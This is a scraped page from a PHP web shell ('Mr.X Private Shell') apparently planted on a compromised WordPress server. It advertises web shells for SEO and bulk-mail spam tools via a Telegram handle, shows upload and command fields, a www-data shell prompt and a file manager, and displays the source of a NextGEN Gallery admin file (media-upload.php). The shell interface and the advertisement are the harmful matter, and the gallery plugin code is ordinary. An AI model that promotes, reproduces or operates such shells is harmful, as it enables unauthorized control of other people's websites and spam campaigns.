__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.111: ~ $
<?php

add_filter( 'media_upload_tabs', 'ngg_wp_upload_tabs' );
add_action( 'media_upload_nextgen', 'media_upload_nextgen' );

// TODO: attempting to enforce the following breaks the TinyMCE 'Add Media' button's import-from-NextGEN feature, and
// TODO: no nonce is provided by WordPress at the time.
//
// phpcs:disable WordPress.Security.NonceVerification.Missing
// phpcs:disable WordPress.Security.NonceVerification.Recommended

function ngg_wp_upload_tabs( $tabs ) {
	$newtab = [ 'nextgen' => __( 'NextGEN Gallery', 'nggallery' ) ];
	return array_merge( $tabs, $newtab );
}

function media_upload_nextgen() {
	// Not in use.
	$errors = false;

	// Generate TinyMCE HTML output.
	if ( isset( $_POST['send'] ) ) {
		$keys        = array_keys( $_POST['send'] );
		$send_id     = (int) array_shift( $keys );
		$image       = $_POST['image'][ $send_id ];
		$alttext     = stripslashes( htmlspecialchars( $image['alttext'], ENT_QUOTES ) );
		$description = stripslashes( htmlspecialchars( $image['description'], ENT_QUOTES ) );

		// here is no new line allowed.
		$clean_description = preg_replace( "/\n|\r\n|\r$/", ' ', $description );
		$img               = nggdb::find_image( $send_id );
		$thumbcode         = $img->get_thumbcode();
		$class             = "ngg-singlepic ngg-{$image['align']}";

		// Create a shell displayed-gallery so we can inspect its settings.
		$args               = new stdClass();
		$args->display_type = NGG_BASIC_SINGLEPIC;
		$displayed_gallery  = new \Imagely\NGG\DataTypes\DisplayedGallery( $args );

		$width  = $displayed_gallery->display_settings['width'];
		$height = $displayed_gallery->display_settings['height'];

		// Build output.
		if ( $image['size'] == 'thumbnail' ) {
			$html = "<img src='{$image['thumb']}' alt='{$alttext}' class='{$class}' />";
		} else {
			$html = '';
		}

		// Wrap the link to the fullsize image around.
		$html = "<a {$thumbcode} href='{$image['url']}' title='{$clean_description}'>{$html}</a>";

		if ( $image['size'] == 'full' ) {
			$html = "<img src='{$image['url']}' alt='{$alttext}' class='{$class}' />";
		}

		if ( $image['size'] == 'singlepic' ) {
			$html = "[singlepic id={$send_id} w={$width} h={$height} float={$image['align']}]";
		}

		media_upload_nextgen_save_image();

		// Return it to TinyMCE.
		return media_send_to_editor( $html );
	}

	// Save button.
	if ( isset( $_POST['save'] ) ) {
		media_upload_nextgen_save_image();
	}

	wp_iframe( 'media_upload_nextgen_form', $errors );
	die();
}

function media_upload_nextgen_save_image() {
	global $wpdb;

	check_admin_referer( 'ngg-media-form' );

	if ( ! empty( $_POST['image'] ) ) {
		foreach ( $_POST['image'] as $image_id => $image ) {
			// create a unique slug.
			$image_slug = nggdb::get_unique_slug( sanitize_title( $image['alttext'] ), 'image' );
			$wpdb->query(
				$wpdb->prepare(
					"UPDATE {$wpdb->nggpictures} SET `image_slug` = %s, `alttext` = %s, `description` = %s WHERE pid = %d",
					[
						$image_slug,
						$image['alttext'],
						$image['description'],
						$image_id,
					]
				)
			);
			wp_cache_delete( $image_id, 'ngg_image' );
		}
	}
}

function media_upload_nextgen_form( $errors ) {
	global $wpdb, $ngg;

	media_upload_header();

	$from           = isset( $_GET['from'] ) && 'block-editor' === $_GET['from'] ? 'block-editor' : 'classic-editor';
	$post_id        = intval( $_REQUEST['post_id'] );
	$galleryID      = 0;
	$total          = 1;
	$picarray       = [];
	$chromeless     = isset( $_GET['chromeless'] ) ? $_GET['chromeless'] : null;
	$chromeless_url = $chromeless ? ( '&chromeless=' . $chromeless ) : null;

	$form_action_url = site_url( "wp-admin/media-upload.php?type={$GLOBALS['type']}&tab=nextgen&post_id=$post_id" . $chromeless_url, 'admin' );

	// Get number of images in gallery.
	if ( isset( $_REQUEST['select_gal'] ) ) {
		$galleryID = (int) $_REQUEST['select_gal'];
		$total     = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT COUNT(*) FROM {$wpdb->nggpictures} WHERE `galleryid` = %d",
				[
					$galleryID,
				]
			)
		);
	}

	// Build navigation.
	$_GET['paged'] = isset( $_GET['paged'] ) ? intval( $_GET['paged'] ) : 0;
	if ( $_GET['paged'] < 1 ) {
		$_GET['paged'] = 1;
	}
	$start = ( $_GET['paged'] - 1 ) * 10;
	if ( $start < 1 ) {
		$start = 0;
	}

	// Get the images.
	if ( $galleryID != 0 ) {
		// Using %i in $wpdb->prepare() to signify column identifiers was only added in WP 6.2
		//
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		$picarray = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT DISTINCT `pid` FROM {$wpdb->nggpictures} WHERE `galleryid` = %d AND `exclude` != 1 ORDER BY {$ngg->options['galSort']}, `pid` {$ngg->options['galSortDir']} LIMIT {$start}, 10",
				[
					$galleryID,
				]
			)
		);
		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
	}

	// WP-Core code for Post-thumbnail.
	$calling_post_id = 0;
	if ( isset( $_GET['post_id'] ) ) {
		$calling_post_id = $_GET['post_id'];
	}
	?>

<script>
	function NGGSetAsThumbnail(id, wp_nonce, ngg_nonce) {
		if (top.set_ngg_post_thumbnail) {
			top.set_ngg_post_thumbnail(id, wp_nonce);
			return;
		}

		var $link = jQuery('a#ngg-post-thumbnail-' + id);

		$link.text(setPostThumbnailL10n.saving);
		jQuery.post(
			ajaxurl,
			{
				action: "ngg_set_post_thumbnail",
				post_id: post_id,
				thumbnail_id: id,
				cookie: encodeURIComponent(document.cookie),
				nonce: ngg_nonce
		},
		function(str) {
			var win = window.dialogArguments || opener || parent || top;
			$link.text( setPostThumbnailL10n.setThumbnail );
			if ( str == '0' ) {
				alert( setPostThumbnailL10n.error );
			} else if (str == '-1') {
				// image removed
			} else {
				jQuery('a.ngg-post-thumbnail').each(function() { jQuery(this).show(); });
				jQuery('a.ngg-post-thumbnail-standin').each(function() { jQuery(this).hide(); });
				$link.hide();

				var $dummy = $link.next();
				$dummy.attr('id', 'wp-post-thumbnail-' + str);
				$dummy.show();
				WPSetAsThumbnail(str, wp_nonce);
			}
		});
	}
</script>

<form id="filter" action="" method="get">
<input type="hidden" name="from" value="<?php echo esc_attr( $from ); ?>"/>
<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
	<?php
	if ( $chromeless ) {
		?>
<input type="hidden" name="chromeless" value="<?php echo esc_attr( $chromeless ); ?>" />
		<?php
	}
	?>
<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />

<div class="tablenav">
	<?php
	$page_links = paginate_links(
		[
			'base'    => add_query_arg( 'paged', '%#%' ),
			'format'  => '',
			'total'   => ceil( $total / 10 ),
			'current' => $_GET['paged'],
		]
	);

	if ( $page_links ) {
		echo "<div class='tablenav-pages'>$page_links</div>";
	}
	?>

	<div class="alignleft actions">
		<select id="select_gal" name="select_gal" style="width:220px;">
			<option value="0" <?php selected( '0', $galleryID ); ?> ><?php esc_attr_e( 'No gallery', 'nggallery' ); ?></option>
			<?php
			// Show gallery selection.
			$gallerylist = \Imagely\NGG\DataMappers\Gallery::get_instance()->find_all();
			if ( is_array( $gallerylist ) ) {
				foreach ( $gallerylist as $gallery ) {
					$selected      = ( $gallery->gid == $galleryID ) ? ' selected="selected"' : '';
					$gallery_title = apply_filters( 'ngg_gallery_title_select_field', $gallery->title, $gallery, $gallery->gid == $galleryID );
					echo "<option value='{$gallery->gid}'{$selected}>{$gallery_title}</option>\n";
				}
			}
			?>
		</select>
		<input type="submit" id="show-gallery" value="<?php esc_attr_e( 'Select &#187;', 'nggallery' ); ?>" class="button-secondary" />
	</div>
	<br style="clear:both;" />
</div>
</form>
<br style="clear:both;"/>
<form enctype="multipart/form-data" method="post" action="<?php echo esc_attr( $form_action_url ); ?>" class="media-upload-form" id="library-form">

	<?php wp_nonce_field( 'ngg-media-form' ); ?>

	<script type="text/javascript">
	<!--
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	-->
	</script>

	<style type="text/css">
		.ngg-from-block-editor .ml-submit,
		.ngg-from-block-editor .describe .alttext,
		.ngg-from-block-editor .describe .caption,
		.ngg-from-block-editor .describe .align,
		.ngg-from-block-editor .describe .alttext,
		.ngg-from-block-editor .describe .image-size,
		.ngg-from-block-editor .describe .ngg-mlitp
		{
			display: none;
		}
	</style>

	<div id="media-items" class="ngg-from-<?php echo esc_attr( $from ); ?>">
	<?php
	if ( is_array( $picarray ) ) {
		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
		$storage    = \Imagely\NGG\DataStorage\Manager::get_instance();
		foreach ( $picarray as $picid ) {
			// TODO:Reduce SQL Queries.
			$picture    = nggdb::find_image( $picid );
			$dimensions = $storage->get_image_dimensions( $picid, 'thumb' );
			extract( $dimensions );
			$thumb_url = $storage->get_image_url( $picid, 'thumb' );
			?>

			<div id='media-item-<?php echo $picid; ?>' class='media-item preloaded'>
			<div class='filename'></div>
			<a class='toggle describe-toggle-on' href='#'><?php esc_html_e( 'Show', 'nggallery' ); ?></a>
			<a class='toggle describe-toggle-off' href='#'><?php esc_html_e( 'Hide', 'nggallery' ); ?></a>
			<div class='filename new'><?php echo ( empty( $picture->alttext ) ) ? wp_html_excerpt( esc_html( $picture->filename ), 60 ) : stripslashes( wp_html_excerpt( esc_html( $picture->alttext ), 60 ) ); ?></div>
			<table class='slidetoggle describe startclosed'><tbody>
				<tr class="thumb">
					<td rowspan='4'><img class='thumbnail' alt='<?php echo esc_attr( $picture->alttext ); ?>' src='<?php echo esc_url( $thumb_url ); ?>'/></td>
					<td><?php esc_html_e( 'Image ID:', 'nggallery' ); ?><?php echo $picid; ?></td>
				</tr>
				<tr><td><?php echo esc_html( $picture->filename ); ?></td></tr>
				<tr><td><?php echo esc_html( stripslashes( $picture->alttext ) ); ?></td></tr>
				<tr><td>&nbsp;</td></tr>
				<tr class="alttext">
					<td class="label"><label for="image[<?php echo $picid; ?>][alttext]"><?php esc_attr_e( 'Alt/Title text', 'nggallery' ); ?></label></td>
					<td class="field"><input id="image[<?php echo $picid; ?>][alttext]" name="image[<?php echo $picid; ?>][alttext]" value="<?php echo esc_attr( stripslashes( $picture->alttext ) ); ?>" type="text"/></td>
				</tr>
				<tr class="caption">
					<td class="label"><label for="image[<?php echo $picid; ?>][description]"><?php esc_attr_e( 'Description', 'nggallery' ); ?></label></td>
						<td class="field"><textarea name="image[<?php echo $picid; ?>][description]" id="image[<?php echo $picid; ?>][description]"><?php echo esc_attr( stripslashes( $picture->description ) ); ?></textarea></td>
				</tr>
					<tr class="align">
						<td class="label"><label for="image[<?php echo $picid; ?>][align]"><?php esc_attr_e( 'Alignment', 'nggallery' ); ?></label></td>
						<td class="field">
							<input name="image[<?php echo $picid; ?>][align]" id="image-align-none-<?php echo $picid; ?>" checked="checked" value="none" type="radio" />
							<label for="image-align-none-<?php echo $picid; ?>" class="align image-align-none-label"><?php esc_attr_e( 'None', 'nggallery' ); ?></label>
							<input name="image[<?php echo $picid; ?>][align]" id="image-align-left-<?php echo $picid; ?>" value="left" type="radio" />
							<label for="image-align-left-<?php echo $picid; ?>" class="align image-align-left-label"><?php esc_attr_e( 'Left', 'nggallery' ); ?></label>
							<input name="image[<?php echo $picid; ?>][align]" id="image-align-center-<?php echo $picid; ?>" value="center" type="radio" />
							<label for="image-align-center-<?php echo $picid; ?>" class="align image-align-center-label"><?php esc_attr_e( 'Center', 'nggallery' ); ?></label>
							<input name="image[<?php echo $picid; ?>][align]" id="image-align-right-<?php echo $picid; ?>" value="right" type="radio" />
							<label for="image-align-right-<?php echo $picid; ?>" class="align image-align-right-label"><?php esc_attr_e( 'Right', 'nggallery' ); ?></label>
						</td>
					</tr>
					<tr class="image-size">
						<th class="label"><label for="image[<?php echo $picid; ?>][size]"><span class="alignleft"><?php esc_attr_e( 'Size', 'nggallery' ); ?></span></label>
						</th>
						<td class="field">
							<input name="image[<?php echo $picid; ?>][size]" id="image-size-thumb-<?php echo $picid; ?>" type="radio" checked="checked" value="thumbnail" />
							<label for="image-size-thumb-<?php echo $picid; ?>"><?php esc_attr_e( 'Thumbnail', 'nggallery' ); ?></label>
							<input name="image[<?php echo $picid; ?>][size]" id="image-size-full-<?php echo $picid; ?>" type="radio" value="full" />
							<label for="image-size-full-<?php echo $picid; ?>"><?php esc_attr_e( 'Full size', 'nggallery' ); ?></label>
							<input name="image[<?php echo $picid; ?>][size]" id="image-size-singlepic-<?php echo $picid; ?>" type="radio" value="singlepic" />
							<label for="image-size-singlepic-<?php echo $picid; ?>"><?php esc_attr_e( 'Singlepic', 'nggallery' ); ?></label>
						</td>
					</tr>
				<tr class="submit">
						<td>
							<input type="hidden" name="image[<?php echo $picid; ?>][thumb]" value="<?php echo esc_attr( $picture->thumbURL ); ?>" />
							<input type="hidden" name="image[<?php echo $picid; ?>][url]" value="<?php echo esc_attr( $picture->imageURL ); ?>" />
						</td>
						<td class="savesend">
							<?php
							if ( $calling_post_id && current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) ) ) {
								$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
							}
								$second_nonce = wp_create_nonce( 'ngg_set_post_thumbnails' );
								echo "<a class='ngg-post-thumbnail' id='ngg-post-thumbnail-" . $picid . "' href='#' onclick='NGGSetAsThumbnail(\"$picid\", \"$ajax_nonce\", \"$second_nonce\"); return false;'>" . esc_html__( 'Use as featured image', 'nggallery' ) . '</a>';
								echo "<a class='ngg-post-thumbnail-standin' href='#' style='display:none;'></a>";
							?>
							<button type="submit" id="ngg-mlitp-<?php echo esc_attr( $picid ); ?>" class="button ngg-mlitp" value="1" name="send[<?php echo $picid; ?>]"><?php esc_html_e( 'Insert into Post', 'nggallery' ); ?></button>
						</td>
				</tr>
			</tbody></table>
			</div>
			<?php
		}
	}
	?>
	</div>
	<p class="ml-submit">
		<input type="submit" class="button savebutton" name="save" value="<?php esc_attr_e( 'Save all changes', 'nggallery' ); ?>" />
	</p>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="select_gal" id="select_gal" value="<?php echo (int) $galleryID; ?>" />
</form>

<script type="text/javascript">
jQuery(function($) {
	if (window.location.toString().indexOf('block-editor') == -1) {
		// reset the media library modal tab
		var mlmodal = top.wp.media.editor.get();
		if (mlmodal) {
			mlmodal.on('close', function() {
				mlmodal.setState('insert');
			});
		}
	}
});
</script>

	<?php
}

Filemanager

Name Type Size Permission Actions
css Folder 0755
images Folder 0755
js Folder 0755
templates Folder 0755
admin.php File 12.54 KB 0644
ajax.php File 4.97 KB 0644
album.php File 24.19 KB 0644
edit-thumbnail.php File 6.76 KB 0644
functions.php File 19.93 KB 0644
install.php File 2.85 KB 0644
manage-galleries.php File 19.75 KB 0644
manage-images.php File 27.47 KB 0644
manage-sort.php File 6.75 KB 0644
manage.php File 39.7 KB 0644
media-upload.php File 14.86 KB 0644
overview.php File 13.92 KB 0644
roles.php File 5.79 KB 0644
rotate.php File 3.3 KB 0644
showmeta.php File 4.93 KB 0644
tags.php File 11.22 KB 0644
thumbnails-template.php File 3.5 KB 0644
wpmu.php File 4.26 KB 0644
Filemanager